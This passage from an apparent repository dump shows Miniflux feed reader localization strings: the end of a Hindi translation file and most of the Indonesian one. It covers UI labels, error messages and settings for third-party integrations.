प्रविष्टि\",\n        \"%d पढ़ी गई प्रविष्टियाँ\"\n    ],\n    \"page.search.title\": \"खोज का परिणाम\",\n    \"page.sessions.table.actions\": \"कार्रवाई\",\n    \"page.sessions.table.current_session\": \"वर्तमान सत्र\",\n    \"page.sessions.table.date\": \"दिनांक\",\n    \"page.sessions.table.ip\": \"आईपी ​​पता\",\n    \"page.sessions.table.user_agent\": \"उपभोक्ता अभिकर्ता\",\n    \"page.sessions.title\": \"सत्र\",\n    \"page.settings.link_google_account\": \"मेरा गूगल खाता जोरीय\",\n    \"page.settings.link_oidc_account\": \"मेरा ओपन-ईद खाता जोरीय (%s)\",\n    \"page.settings.title\": \"समायोजन\",\n    \"page.settings.unlink_google_account\": \"मेरा गूगल खाता हटाय\",\n    \"page.settings.unlink_oidc_account\": \"मेरा ओपन-ईद खाता हटाय (%s)\",\n    \"page.settings.webauthn.actions\": \"कार्रवाई\",\n    \"page.settings.webauthn.added_on\": \"जोड़ा गया\",\n    \"page.settings.webauthn.delete\": [\n        \"%d पासकुंजी निकालें\",\n        \"%d पासकी हटाएं\"\n    ],\n    \"page.settings.webauthn.last_seen_on\": \"अंतिम उपयोग\",\n    \"page.settings.webauthn.passkey_name\": \"पासकी का नाम\",\n    \"page.settings.webauthn.passkeys\": \"पासकी\",\n    \"page.settings.webauthn.register\": \"रजिस्टर पासकी\",\n    \"page.settings.webauthn.register.error\": \"पासकी पंजीकृत करने में असमर्थ\",\n    \"page.shared_entries.title\": \"साझा किया हुआ प्रविष्टि\",\n    \"page.shared_entries_count\": [\n        \"%d साझा प्रविष्टि\",\n        \"%d साझा प्रविष्टियाँ\"\n    ],\n    \"page.starred.title\": \"तारांकित\",\n    \"page.starred_entry_count\": [\n        \"%d तारांकित प्रविष्टि\",\n        \"%d तारांकित प्रविष्टियाँ\"\n    ],\n    \"page.total_entry_count\": [\n        \"कुल %d प्रविष्टि\",\n        \"कुल %d प्रविष्टियाँ\"\n    ],\n    \"page.unread.title\": \"अपठित\",\n    \"page.unread_entry_count\": [\n        \"%d अपठित प्रविष्टि\",\n        \"%d अपठित प्रविष्टियाँ\"\n    ],\n    \"page.users.actions\": \"कार्रवाई\",\n    \"page.users.admin.no\": \"नहीं\",\n    \"page.users.admin.yes\": \"हां\",\n    \"page.users.is_admin\": \"प्रशासक\",\n    \"page.users.last_login\": \"आखरी लॉगइन\",\n    \"page.users.never_logged\": \"कभी नहीं\",\n    \"page.users.title\": \"उपभोक्ता\",\n    \"page.users.username\": \"यूसर्नेम\",\n    \"page.webauthn_rename.title\": \"पासकी का नाम बदलें\",\n    \"pagination.first\": \"पहला\",\n    \"pagination.last\": \"अंतिम\",\n    \"pagination.next\": \"अगला\",\n    \"pagination.previous\": \"पिछला\",\n    \"search.label\": \"खोजे\",\n    \"search.placeholder\": \"खोजे...\",\n    \"search.submit\": \"खोजें\",\n    \"skip_to_content\": \"सामग्री पर जाएं\",\n    \"time_elapsed.days\": [\n        \"%d दिन पहले\",\n        \"%d दिन पहले\"\n    ],\n    \"time_elapsed.hours\": [\n        \"%d घंटेभर पहले\",\n        \"%d घंटो पहले\"\n    ],\n    \"time_elapsed.minutes\": [\n        \"%d मिनट पहले\",\n        \"%d मिनट पहले\"\n    ],\n    \"time_elapsed.months\": [\n        \"%d महीने पहले\",\n        \"%d महिनो पहले\"\n    ],\n    \"time_elapsed.not_yet\": \"अभी तक नहीं\",\n    \"time_elapsed.now\": \"अभी\",\n    \"time_elapsed.weeks\": [\n        \"%d सप्ताह पहले\",\n        \"%d हफ्तों पहले\"\n    ],\n    \"time_elapsed.years\": [\n        \"%d साल पहले\",\n        \"%d वर्षों पहले\"\n    ],\n    \"time_elapsed.yesterday\": \"कल\",\n    \"tooltip.keyboard_shortcuts\": \"कुंजीपटल शॉर्टकट: %s\",\n    \"tooltip.logged_user\": \"%s के रूप में लॉग इन किया\"\n}\n"
  },
  {
    "path": "internal/locale/translations/id_ID.json",
    "content": "{\n    \"action.cancel\": \"batal\",\n    \"action.download\": \"Unduh\",\n    \"action.edit\": \"Sunting\",\n    \"action.home_screen\": \"Tambahkan ke beranda\",\n    \"action.import\": \"Impor\",\n    \"action.login\": \"Masuk\",\n    \"action.or\": \"atau\",\n    \"action.remove\": \"Hapus\",\n    \"action.remove_feed\": \"Hapus umpan ini\",\n    \"action.save\": \"Simpan\",\n    \"action.subscribe\": \"Langgan\",\n    \"action.update\": \"Perbarui\",\n    \"alert.account_linked\": \"Akun eksternal Anda sudah terhubung!\",\n    \"alert.account_unlinked\": \"Akun eksternal Anda sudah terputus!\",\n    \"alert.background_feed_refresh\": \"Semua umpan sedang disegarkan di latar belakang. Anda bisa lanjut menggunakan Miniflux sembari proses ini berlanjut.\",\n    \"alert.feed_error\": \"Ada masalah dengan umpan ini\",\n    \"alert.no_starred\": \"Tidak ada markah.\",\n    \"alert.no_category\": \"Tidak ada kategori.\",\n    \"alert.no_category_entry\": \"Tidak ada artikel di kategori ini.\",\n    \"alert.no_feed\": \"Anda tidak memiliki langganan.\",\n    \"alert.no_feed_entry\": \"Tidak ada artikel di umpan ini.\",\n    \"alert.no_feed_in_category\": \"Tidak ada langganan untuk kategori ini.\",\n    \"alert.no_history\": \"Tidak ada riwayat untuk saat ini.\",\n    \"alert.no_search_result\": \"Tidak ada hasil untuk pencarian ini.\",\n    \"alert.no_shared_entry\": \"Tidak ada entri yang dibagikan.\",\n    \"alert.no_tag_entry\": \"Tidak ada entri yang cocok dengan tag ini.\",\n    \"alert.no_unread_entry\": \"Belum ada artikel yang dibaca.\",\n    \"alert.no_user\": \"Anda adalah satu-satunya pengguna.\",\n    \"alert.prefs_saved\": \"Preferensi disimpan!\",\n    \"alert.too_many_feeds_refresh\": [\n        \"Anda terlalu banyak menyegarkan umpan. Mohon tunggu %d menit sebelum mencoba lagi.\"\n    ],\n    \"confirm.loading\": \"Sedang progres...\",\n    \"confirm.no\": \"tidak\",\n    \"confirm.question\": \"Apakah Anda yakin?\",\n    \"confirm.question.refresh\": \"Apakah Anda ingin memaksa penyegaran?\",\n    \"confirm.yes\": \"ya\",\n    \"enclosure_media_controls.seek\": \"Putar:\",\n    \"enclosure_media_controls.seek.title\": \"Putar %s detik\",\n    \"enclosure_media_controls.speed\": \"Kecepatan:\",\n    \"enclosure_media_controls.speed.faster\": \"Lebih cepat\",\n    \"enclosure_media_controls.speed.faster.title\": \"Lebih cepat %sx\",\n    \"enclosure_media_controls.speed.reset\": \"Atur ulang\",\n    \"enclosure_media_controls.speed.reset.title\": \"Atur ulang ke 1x\",\n    \"enclosure_media_controls.speed.slower\": \"Lebih lambat\",\n    \"enclosure_media_controls.speed.slower.title\": \"Lebih lambat %sx\",\n    \"entry.starred.toast.off\": \"Batal Markahi\",\n    \"entry.starred.toast.on\": \"Markahi\",\n    \"entry.starred.toggle.off\": \"Batal Markahi\",\n    \"entry.starred.toggle.on\": \"Markahi\",\n    \"entry.comments.label\": \"Komentar\",\n    \"entry.comments.title\": \"Lihat Komentar\",\n    \"entry.estimated_reading_time\": [\n        \"%d menit untuk dibaca\"\n    ],\n    \"entry.external_link.label\": \"Tautan eksternal\",\n    \"entry.save.completed\": \"Selesai!\",\n    \"entry.save.label\": \"Simpan\",\n    \"entry.save.title\": \"Simpan artikel ini\",\n    \"entry.save.toast.completed\": \"Artikel tersimpan\",\n    \"entry.scraper.completed\": \"Selesai!\",\n    \"entry.scraper.label\": \"Unduh\",\n    \"entry.scraper.title\": \"Ambil konten asli\",\n    \"entry.share.label\": \"Bagikan\",\n    \"entry.share.title\": \"Bagikan artikel ini\",\n    \"entry.shared_entry.label\": \"Bagikan\",\n    \"entry.shared_entry.title\": \"Buka tautan publik\",\n    \"entry.state.loading\": \"Memuat...\",\n    \"entry.state.saving\": \"Menyimpan...\",\n    \"entry.status.mark_as_read\": \"Telah dibaca\",\n    \"entry.status.mark_as_unread\": \"Belum dibaca\",\n    \"entry.status.title\": \"Ubah status entri\",\n    \"entry.status.toast.read\": \"Ditandai sebagai telah dibaca\",\n    \"entry.status.toast.unread\": \"Ditandai sebagai belum dibaca\",\n    \"entry.tags.label\": \"Tanda:\",\n    \"entry.tags.more_tags_label\": [\n        \"Tampilkan %d tag lainnya\"\n    ],\n    \"entry.unshare.label\": \"Batal bagikan\",\n    \"error.api_key_already_exists\": \"Kunci API ini sudah ada.\",\n    \"error.bad_credentials\": \"Nama pengguna atau kata sandi tidak valid.\",\n    \"error.category_already_exists\": \"Kategori ini telah ada.\",\n    \"error.category_not_found\": \"Kategori ini tidak ada atau tidak dipunyai oleh pengguna ini.\",\n    \"error.database_error\": \"Galat basis data: %v.\",\n    \"error.different_passwords\": \"Kata sandi tidak sama.\",\n    \"error.duplicate_fever_username\": \"Sudah ada pengguna lain dengan nama pengguna Fever yang sama!\",\n    \"error.duplicate_googlereader_username\": \"Sudah ada pengguna lain dengan nama pengguna Google Reader yang sama!\",\n    \"error.duplicate_linked_account\": \"Sudah ada pengguna lain yang terhubung dengan penyedia ini!\",\n    \"error.duplicated_feed\": \"Umpan ini sudah ada.\",\n    \"error.empty_file\": \"Berkas ini kosong.\",\n    \"error.entries_per_page_invalid\": \"Jumlah entri per halaman tidak valid.\",\n    \"error.feed_already_exists\": \"Umpan ini sudah ada.\",\n    \"error.feed_category_not_found\": \"Kategori ini tidak ada atau tidak dipunyai oleh pengguna ini.\",\n    \"error.feed_format_not_detected\": \"Tidak dapat mendeteksi format umpan: %v.\",\n    \"error.feed_invalid_blocklist_rule\": \"Aturan blokir tidak valid.\",\n    \"error.feed_invalid_keeplist_rule\": \"Aturan simpan tidak valid.\",\n    \"error.feed_mandatory_fields\": \"Harus ada URL dan kategorinya.\",\n    \"error.feed_not_found\": \"Umpan ini tidak ada atau tidak dipunyai oleh pengguna ini\",\n    \"error.feed_title_not_empty\": \"Judul umpan tidak boleh kosong.\",\n    \"error.feed_url_not_empty\": \"URL umpan tidak boleh kosong.\",\n    \"error.fields_mandatory\": \"Semua bidang diharuskan.\",\n    \"error.http_bad_gateway\": \"Situs ini tidak tersedia saat ini karena kesalahan akses peladen situs. Masalah ini bukan pada sisi Miniflux. Coba lagi nanti.\",\n    \"error.http_body_read\": \"Tidak dapat membaca badan HTTP: %v.\",\n    \"error.http_client_error\": \"Galat klien HTTP: %v.\",\n    \"error.http_empty_response\": \"Balasan HTTP kosong. Mungkin, situs ini menggunakan mekanisme perlindungan dari bot?\",\n    \"error.http_empty_response_body\": \"Badan balasan HTTP kosong.\",\n    \"error.http_forbidden\": \"Akses ke situs ini terlarang. Mungkin, situs ini menggunakan mekanisme perlindungan dari bot?\",\n    \"error.http_gateway_timeout\": \"Situs ini tidak tersedia saat ini karena kesalahan akses jaringan peladen situs. Masalah ini bukan pada sisi Miniflux. Coba lagi nanti.\",\n    \"error.http_internal_server_error\": \"Situs ini tidak tersedia saat ini karena galat peladen situs. Masalah ini bukan pada sisi Miniflux. Coba lagi nanti.\",\n    \"error.http_not_authorized\": \"Akses ke situs ini tidak diizinkan. Mungkin nama pengguna atau kata sandinya salah.\",\n    \"error.http_resource_not_found\": \"Sumber daya yang diminta tidak ditemukan. Periksa kembali URL-nya.\",\n    \"error.http_response_too_large\": \"Balasan HTTP terlalu besar. Anda bisa menaikkan batas ukuran balasan HTTP di pengaturan global (membutuhkan pemulaian ulang peladen).\",\n    \"error.http_service_unavailable\": \"Situs ini tidak tersedia saat ini dikarenakan galat internal peladen situs. Masalah ini bukan pada sisi Miniflux. Coba lagi nanti.\",\n    \"error.http_too_many_requests\": \"Terlalu banyak koneksi dari Miniflux yang dibuat ke situs ini. Coba lagi nanti atau ubah konfigurasi aplikasi.\",\n    \"error.http_unexpected_status_code\": \"Situs ini tidak dapat dijangkau saat ini dikarenakan kode status HTTP tak diduga: %d Masalah ini bukan pada sisi Miniflux. Coba lagi nanti.\",\n    \"error.invalid_categories_sorting_order\": \"Urutan penyortiran kategori tidak valid.\",\n    \"error.invalid_default_home_page\": \"Beranda baku tidak valid!\",\n    \"error.invalid_display_mode\": \"Mode tampilan aplikasi web tidak valid.\",\n    \"error.invalid_entry_direction\": \"Urutan entri tidak valid.\",\n    \"error.invalid_entry_order\": \"Urutan entri tidak valid.\",\n    \"error.invalid_feed_proxy_url\": \"URL proksi tidak valid.\",\n    \"error.invalid_feed_url\": \"URL umpan tidak valid.\",\n    \"error.invalid_gesture_nav\": \"Navigasi gestur tidak valid.\",\n    \"error.invalid_language\": \"Bahasa tidak valid.\",\n    \"error.invalid_site_url\": \"URL situs tidak valid.\",\n    \"error.invalid_theme\": \"Tema tidak valid.\",\n    \"error.invalid_timezone\": \"Zona waktu tidak valid.\",\n    \"error.network_operation\": \"Miniflux tidak dapat menjangkau situs ini dikarenakan galat jaringan: %v.\",\n    \"error.network_timeout\": \"Situs ini terlalu lambat dan permintaan ke situs terlalu lama: %v\",\n    \"error.password_min_length\": \"Kata sandi harus memiliki setidaknya 6 karakter.\",\n    \"error.proxy_url_not_empty\": \"URL proksi tidak boleh kosong.\",\n    \"error.settings_block_rule_fieldname_invalid\": \"Aturan blokir tidak valid: aturan #%d tidak mempunyai nama bidang yang valid (Opsi: %s)\",\n    \"error.settings_block_rule_invalid_regex\": \"Aturan blokir tidak valid: aturan pola #%d bukan ekspresi regular (regex) yang valid\",\n    \"error.settings_block_rule_regex_required\": \"Aturan blokir tidak valid: aturan pola #%d tidak disediakan\",\n    \"error.settings_block_rule_separator_required\": \"Aturan blokir tidak valid: aturan pola #%d diharuskan dipisah menggunakan '='\",\n    \"error.settings_invalid_domain_list\": \"Daftar domain tidak valid. Mohon sediakan daftar domain yang dipisah spasi.\",\n    \"error.settings_keep_rule_fieldname_invalid\": \"Aturan simpan tidak valid: aturan #%d tidak mempunyai nama bidang yang valid (Opsi: %s)\",\n    \"error.settings_keep_rule_invalid_regex\": \"Aturan simpan tidak valid: aturan pola #%d bukan ekspresi regular (regex) yang valid\",\n    \"error.settings_keep_rule_regex_required\": \"Aturan simpan tidak valid: aturan pola #%d tidak disediakan\",\n    \"error.settings_keep_rule_separator_required\": \"Aturan simpan tidak valid: aturan pola #%d diharuskan dipisah menggunakan '='\",\n    \"error.settings_mandatory_fields\": \"Harus ada nama pengguna, tema, bahasa, dan zona waktu.\",\n    \"error.settings_media_playback_rate_range\": \"Kecepatan pemutaran di luar jangkauan\",\n    \"error.settings_reading_speed_is_positive\": \"Kecepatan membaca harus integer positif.\",\n    \"error.site_url_not_empty\": \"URL situs tidak boleh kosong.\",\n    \"error.subscription_not_found\": \"Tidak bisa mencari langganan apa pun.\",\n    \"error.title_required\": \"Judul harus ada.\",\n    \"error.tls_error\": \"Galat TLS: %q. Anda bisa mematikan verifikasi TLS di pengaturan umpan jika Anda mau.\",\n    \"error.unable_to_create_api_key\": \"Tidak bisa membuat kunci API ini.\",\n    \"error.unable_to_create_category\": \"Tidak bisa membuat kategori ini.\",\n    \"error.unable_to_create_user\": \"Tidak bisa membuat pengguna tersebut.\",\n    \"error.unable_to_detect_rssbridge\": \"Tidak dapat mendeteksi umpan menggunakan RSS-Bridge: %v.\",\n    \"error.unable_to_parse_feed\": \"Tidak dapat membaca umpan: %v.\",\n    \"error.unable_to_update_category\": \"Tidak bisa memperbarui kategori ini.\",\n    \"error.unable_to_update_feed\": \"Tidak bisa memperbarui umpan ini.\",\n    \"error.unable_to_update_user\": \"Tidak bisa memperbarui pengguna tersebut.\",\n    \"error.unlink_account_without_password\": \"Anda harus mengatur kata sandi atau Anda tidak bisa masuk kembali.\",\n    \"error.user_already_exists\": \"Pengguna ini sudah ada.\",\n    \"error.user_mandatory_fields\": \"Harus ada nama pengguna.\",\n    \"error.linktaco_missing_required_fields\": \"LinkTaco API Token dan Organization Slug diperlukan\",\n    \"form.api_key.label.description\": \"Label Kunci API\",\n    \"form.category.hide_globally\": \"Sembunyikan entri di daftar belum dibaca global\",\n    \"form.category.label.title\": \"Judul\",\n    \"form.feed.fieldset.general\": \"Umum\",\n    \"form.feed.fieldset.integration\": \"Pengaturan Pihak Ketiga\",\n    \"form.feed.fieldset.network_settings\": \"Pengaturan Jaringan\",\n    \"form.feed.fieldset.rules\": \"Aturan\",\n    \"form.feed.label.allow_self_signed_certificates\": \"Perbolehkan sertifikat web tidak valid atau sertifikasi sendiri\",\n    \"form.feed.label.apprise_service_urls\": \"Daftar yang dipisahkan koma untuk URL layanan Apprise\",\n    \"form.feed.label.block_filter_entry_rules\": \"Aturan Pemblokiran Entri\",\n    \"form.feed.label.blocklist_rules\": \"Filter Pemblokiran Berbasis Regex\",\n    \"form.feed.label.category\": \"Kategori\",\n    \"form.feed.label.cookie\": \"Atur Kuki\",\n    \"form.feed.label.crawler\": \"Ambil konten asli\",\n    \"form.feed.label.ignore_entry_updates\": \"Ignore entry updates\",\n    \"form.feed.label.description\": \"Deskripsi\",\n    \"form.feed.label.disable_http2\": \"Matikan HTTP/2 untuk menghindari pelacakan\",\n    \"form.feed.label.disabled\": \"Jangan perbarui umpan ini\",\n    \"form.feed.label.feed_password\": \"Kata Sandi Umpan\",\n    \"form.feed.label.feed_url\": \"URL Umpan\",\n    \"form.feed.label.feed_username\": \"Nama Pengguna Umpan\",\n    \"form.feed.label.fetch_via_proxy\": \"Gunakan proksi yang dikonfigurasi di tingkat aplikasi\",\n    \"form.feed.label.hide_globally\": \"Sembunyikan entri di daftar belum dibaca global\",\n    \"form.feed.label.ignore_http_cache\": \"Abaikan Tembolok HTTP\",\n    \"form.feed.label.keep_filter_entry_rules\": \"Aturan Izin Entri\",\n    \"form.feed.label.keeplist_rules\": \"Filter Simpan Berbasis Regex\",\n    \"form.feed.label.no_media_player\": \"Tidak ada pemutar media (audio/video)\",\n    \"form.feed.label.ntfy_activate\": \"Kirim artikel ke ntfy\",\n    \"form.feed.label.ntfy_default_priority\": \"Prioritas baku Ntfy\",\n    \"form.feed.label.ntfy_high_priority\": \"Priroritas tinggi Ntfy\",\n    \"form.feed.label.ntfy_low_priority\": \"Prioritas rendah Ntfy\",\n    \"form.feed.label.ntfy_max_priority\": \"Prioritas maksimal Ntfy\",\n    \"form.feed.label.ntfy_min_priority\": \"Prioritas minimal Ntfy\",\n    \"form.feed.label.ntfy_priority\": \"Prioritas Ntfy\",\n    \"form.feed.label.ntfy_topic\": \"Topik Ntfy (opsional)\",\n    \"form.feed.label.proxy_url\": \"URL Proksi\",\n    \"form.feed.label.pushover_activate\": \"Kirim artikel ke pushover.net\",\n    \"form.feed.label.pushover_default_priority\": \"Prioritas baku Pushover\",\n    \"form.feed.label.pushover_high_priority\": \"Prioritas tinggi Pushover\",\n    \"form.feed.label.pushover_low_priority\": \"Prioritas rendah Pushover\",\n    \"form.feed.label.pushover_max_priority\": \"Prioritas maksimal Pushover\",\n    \"form.feed.label.pushover_min_priority\": \"Prioritas minimal Pushover\",\n    \"form.feed.label.pushover_priority\": \"Prioritas pesan Pushover\",\n    \"form.feed.label.rewrite_rules\": \"Aturan Penulisan Ulang Konten\",\n    \"form.feed.label.scraper_rules\": \"Aturan Pengambil Data\",\n    \"form.feed.label.site_url\": \"URL Situs\",\n    \"form.feed.label.title\": \"Judul\",\n    \"form.feed.label.urlrewrite_rules\": \"Aturan Tulis Ulang URL\",\n    \"form.feed.label.user_agent\": \"Timpa User Agent Baku\",\n    \"form.feed.label.webhook_url\": \"Timpa URL Webhook\",\n    \"form.import.label.file\": \"Berkas OPML\",\n    \"form.import.label.url\": \"URL\",\n    \"form.integration.archiveorg_activate\": \"Kirim entri ke archive.org\",\n    \"form.integration.apprise_activate\": \"Kirim artikel ke Apprise\",\n    \"form.integration.apprise_services_url\": \"Daftar yang dipisahkan koma untuk URL layanan Apprise\",\n    \"form.integration.apprise_url\": \"URL API Apprise\",\n    \"form.integration.betula_activate\": \"Simpan artikel ke Betula\",\n    \"form.integration.betula_token\": \"Token Betula\",\n    \"form.integration.betula_url\": \"URL Peladen Betula\",\n    \"form.integration.cubox_activate\": \"Simpan artikel ke Cubox\",\n    \"form.integration.cubox_api_link\": \"Tautan API Cubox\",\n    \"form.integration.discord_activate\": \"Kirim artikel ke Discord\",\n    \"form.integration.discord_webhook_link\": \"Tautan Webhook Discord\",\n    \"form.integration.espial_activate\": \"Simpan artikel ke Espial\",\n    \"form.integration.espial_api_key\": \"Kunci API Espial\",\n    \"form.integration.espial_endpoint\": \"Titik URL API Espial\",\n    \"form.integration.espial_tags\": \"Tanda di Espial\",\n    \"form.integration.fever_activate\": \"Aktifkan API Fever\",\n    \"form.integration.fever_endpoint\": \"Titik URL API Fever:\",\n    \"form.integration.fever_password\": \"Kata Sandi Fever\",\n    \"form.integration.fever_username\": \"Nama Pengguna Fever\",\n    \"form.integration.googlereader_activate\": \"Aktifkan API Google Reader\",\n    \"form.integration.googlereader_endpoint\": \"Titik URL API Google Reader:\",\n    \"form.integration.googlereader_password\": \"Kata Sandi Google Reader\",\n    \"form.integration.googlereader_username\": \"Nama Pengguna Google Reader\",\n    \"form.integration.instapaper_activate\": \"Simpan artikel ke Instapaper\",\n    \"form.integration.instapaper_password\": \"Kata Sandi Instapaper\",\n    \"form.integration.instapaper_username\": \"Nama Pengguna Instapaper\",\n    \"form.integration.karakeep_activate\": \"Simpan artikel ke Karakeep\",\n    \"form.integration.karakeep_api_key\": \"Kunci API Karakeep\",\n    \"form.integration.karakeep_url\": \"Titik URL API Karakeep\",\n    \"form.integration.karakeep_tags\": \"Tanda di Karakeep\",\n    \"form.integration.linkace_activate\": \"Simpan artikel ke LinkAce\",\n    \"form.integration.linkace_api_key\": \"Kunci API LinkAce\",\n    \"form.integration.linkace_check_disabled\": \"Matikan pemeriksaan tautan\",\n    \"form.integration.linkace_endpoint\": \"Titik URL API LinkAce\",\n    \"form.integration.linkace_is_private\": \"Tandai tautan sebagai pribadi\",\n    \"form.integration.linkace_tags\": \"Tanda LinkAce\",\n    \"form.integration.linkding_activate\": \"Simpan artikel ke Linkding\",\n    \"form.integration.linkding_api_key\": \"Kunci API Linkding\",\n    \"form.integration.linkding_bookmark\": \"Tandai markah sebagai belum dibaca\",\n    \"form.integration.linkding_endpoint\": \"Titik URL API Linkding\",\n    \"form.integration.linkding_tags\": \"Tanda Linkding\",\n    \"form.integration.linktaco_activate\": \"Simpan entri ke LinkTaco\",\n    \"form.integration.linktaco_api_token\": \"Token API LinkTaco\",\n    \"form.integration.linktaco_api_token_hint\": \"Dapatkan token akses pribadi Anda di\",\n    \"form.integration.linktaco_org_slug\": \"Slug organisasi\",\n    \"form.integration.linktaco_tags\": \"Tag (maksimal 10, dipisahkan koma)\",\n    \"form.integration.linktaco_tags_hint\": \"Maksimal 10 tag, dipisahkan koma\",\n    \"form.integration.linktaco_visibility\": \"Visibilitas\",\n    \"form.integration.linktaco_visibility_public\": \"Publik\",\n    \"form.integration.linktaco_visibility_private\": \"Pribadi\",\n    \"form.integration.linktaco_visibility_hint\": \"Visibilitas PRIBADI membutuhkan akun LinkTaco berbayar\",\n    \"form.integration.linkwarden_activate\": \"Simpan artikel ke Linkwarden\",\n    \"form.integration.linkwarden_api_key\": \"Kunci API Linkwarden\",\n    \"form.integration.linkwarden_endpoint\": \"URL Dasar Linkwarden\",\n    \"form.integration.linkwarden_collection_id\": \"ID koleksi Linkwarden\",\n    \"form.integration.matrix_bot_activate\": \"Kirim entri baru ke Matrix\",\n    \"form.integration.matrix_bot_chat_id\": \"ID Ruang Matrix\",\n    \"form.integration.matrix_bot_password\": \"Kata Sandi Matrix\",\n    \"form.integration.matrix_bot_url\": \"URL Peladen Matrix\",\n    \"form.integration.matrix_bot_user\": \"Nama Pengguna Matrix\",\n    \"form.integration.notion_activate\": \"Simpan artikel ke Notion\",\n    \"form.integration.notion_page_id\": \"ID Halaman Notion\",\n    \"form.integration.notion_token\": \"Token Rahasia Notion\",\n    \"form.integration.ntfy_activate\": \"Kirim artikel ke ntfy\",\n    \"form.integration.ntfy_api_token\": \"Token API Ntfy (opsional)\",\n    \"form.integration.ntfy_icon_url\": \"URL ikon Ntfy (opsional)\",\n    \"form.integration.ntfy_internal_links\": \"Gunakan tautan internal ketika mengklik (opsional)\",\n    \"form.integration.ntfy_password\": \"Kata sandi Ntfy (opsional)\",\n    \"form.integration.ntfy_topic\": \"Topik Ntfy (yang akan digunakan jika tidak diatur di umpan)\",\n    \"form.integration.ntfy_url\": \"URL Ntfy (opsional, bawaan ke ntfy.sh)\",\n    \"form.integration.ntfy_username\": \"Nama pengguna Ntfy (opsional)\",\n    \"form.integration.nunux_keeper_activate\": \"Simpan artikel ke Nunux Keeper\",\n    \"form.integration.nunux_keeper_api_key\": \"Kunci API Nunux Keeper\",\n    \"form.integration.nunux_keeper_endpoint\": \"Titik URL API Nunux Keeper\",\n    \"form.integration.omnivore_activate\": \"Simpan artikel ke Omnivore\",\n    \"form.integration.omnivore_api_key\": \"Kunci API Omnivore\",\n    \"form.integration.omnivore_url\": \"Titik URL API Omnivore\",\n    \"form.integration.pinboard_activate\": \"Simpan artikel ke Pinboard\",\n    \"form.integration.pinboard_bookmark\": \"Tandai markah sebagai belum dibaca\",\n    \"form.integration.pinboard_tags\": \"Tanda di Pinboard\",\n    \"form.integration.pinboard_token\": \"Token API Pinboard\",\n    \"form.integration.pushover_activate\": \"Kirim artikel ke Pushover\",\n    \"form.integration.pushover_device\": \"Perangkat Pushover (opsional)\",\n    \"form.integration.pushover_prefix\": \"Prefiks URL Pushover (opsional)\",\n    \"form.integration.pushover_token\": \"Token API aplikasi Pushover\",\n    \"form.integration.pushover_user\": \"Kunci pengguna Pushover\",\n    \"form.integration.raindrop_activate\": \"Simpan artikel ke Raindrop\",\n    \"form.integration.raindrop_collection_id\": \"ID Koleksi\",\n    \"form.integration.raindrop_tags\": \"Tanda (dipisahkan koma)\",\n    \"form.integration.raindrop_token\": \"Token (Tes)\",\n    \"form.integration.readeck_activate\": \"Simpan artikel ke Readeck\",\n    \"form.integration.readeck_api_key\": \"Kunci API Readeck\",\n    \"form.integration.readeck_endpoint\": \"Titik URL API Readeck\",\n    \"form.integration.readeck_labels\": \"Tagar Readeck\",\n    \"form.integration.readeck_only_url\": \"Kirim hanya URL (alih-alih konten penuh)\",\n    \"form.integration.readeck_push_activate\": \"Kirim otomatis entri baru ke Readeck\",\n    \"form.integration.readwise_activate\": \"Simpan artikel ke Readwise\",\n    \"form.integration.readwise_api_key\": \"Token Akses Readwise\",\n    \"form.integration.readwise_api_key_link\": \"Dapatkan Token Akses Readwise Anda\",\n    \"form.integration.rssbridge_activate\": \"Periksa RSS-Bridge ketika menambahkan langganan\",\n    \"form.integration.rssbridge_token\": \"Token autentikasi RSS-Bridge\",\n    \"form.integration.rssbridge_url\": \"URL peladen RSS-Bridge\",\n    \"form.integration.shaarli_activate\": \"Simpan artikel ke Shaarli\",\n    \"form.integration.shaarli_api_secret\": \"Rahasia API Shaarli\",\n    \"form.integration.shaarli_endpoint\": \"URL Shaarli\",\n    \"form.integration.shiori_activate\": \"Simpan artikel ke Shiori\",\n    \"form.integration.shiori_endpoint\": \"Titik URL API Shiori\",\n    \"form.integration.shiori_password\": \"Kata Sandi Shiori\",\n    \"form.integration.shiori_username\": \"Nama Pengguna Shiori\",\n    \"form.integration.slack_activate\": \"Kirim artikel ke Slack\",\n    \"form.integration.slack_webhook_link\": \"Tautan Webhook Slack\",\n    \"form.integration.telegram_bot_activate\": \"Kirim artikel baru ke percakapan Telegram\",\n    \"form.integration.telegram_bot_disable_buttons\": \"Matikan tombol\",\n    \"form.integration.telegram_bot_disable_notification\": \"Matikan notifikasi\",\n    \"form.integration.telegram_bot_disable_web_page_preview\": \"Matikan tinjauan halaman web\",\n    \"form.integration.telegram_bot_token\": \"Token Bot\",\n    \"form.integration.telegram_chat_id\": \"ID Obrolan\",\n    \"form.integration.telegram_topic_id\": \"ID Topik\",\n    \"form.integration.wallabag_activate\": \"Simpan artikel ke Wallabag\",\n    \"form.integration.wallabag_client_id\": \"ID Klien Wallabag\",\n    \"form.integration.wallabag_client_secret\": \"Rahasia Klien Wallabag\",\n    \"form.integration.wallabag_endpoint\": \"URL Dasar Wallabag\",\n    \"form.integration.wallabag_only_url\": \"Kirim hanya URL (alih-alih konten penuh)\",\n    \"form.integration.wallabag_password\": \"Kata Sandi Wallabag\",\n    \"form.integration.wallabag_username\": \"Nama Pengguna Wallabag\",\n    \"form.integration.wallabag_tags\": \"Tag Wallabag\",\n    \"form.integration.webhook_activate\": \"Aktifkan Webhook\",\n    \"form.integration.webhook_secret\": \"Rahasia Webhook\",\n    \"form.integration.webhook_url\": \"URL Webhook baku\",\n    \"form.prefs.fieldset.application_settings\": \"Pengaturan Aplikasi\",\n    \"form.prefs.fieldset.authentication_settings\": \"Pengaturan Autentikasi\",\n    \"form.prefs.fieldset.global_feed_settings\": \"Pengaturan Umpan Global\",\n    \"form.prefs.fieldset.reader_settings\": \"Pengaturan Pembaca\",\n    \"form.prefs.help.external_font_hosts\": \"Daftar yang dipisah spasi untuk peladen penyedia fonta eksternal yang diperbolehkan. Seperti: \\\"fonts.gstatic.com fonts.googleapis.com\\\".\",\n    \"form.prefs.label.always_open_external_links\": \"Baca artikel dengan membuka tautan eksternal\",\n    \"form.prefs.label.categories_sorting_order\": \"Pengurutan Kategori\",\n    \"form.prefs.label.cjk_reading_speed\": \"Kecepatan membaca untuk bahasa Tiongkok, Korea, dan Jepang (karakter per menit)\",\n    \"form.prefs.label.custom_css\": \"Modifikasi CSS\",\n    \"form.prefs.label.custom_js\": \"Modifikasi JavaScript\",\n    \"form.prefs.label.default_home_page\": \"Beranda Baku\",\n    \"form.prefs.label.default_reading_speed\": \"Kecepatan membaca untuk bahasa lain (kata per menit)\",\n    \"form.prefs.label.display_mode\": \"Mode Tampilan Aplikasi Web (perlu 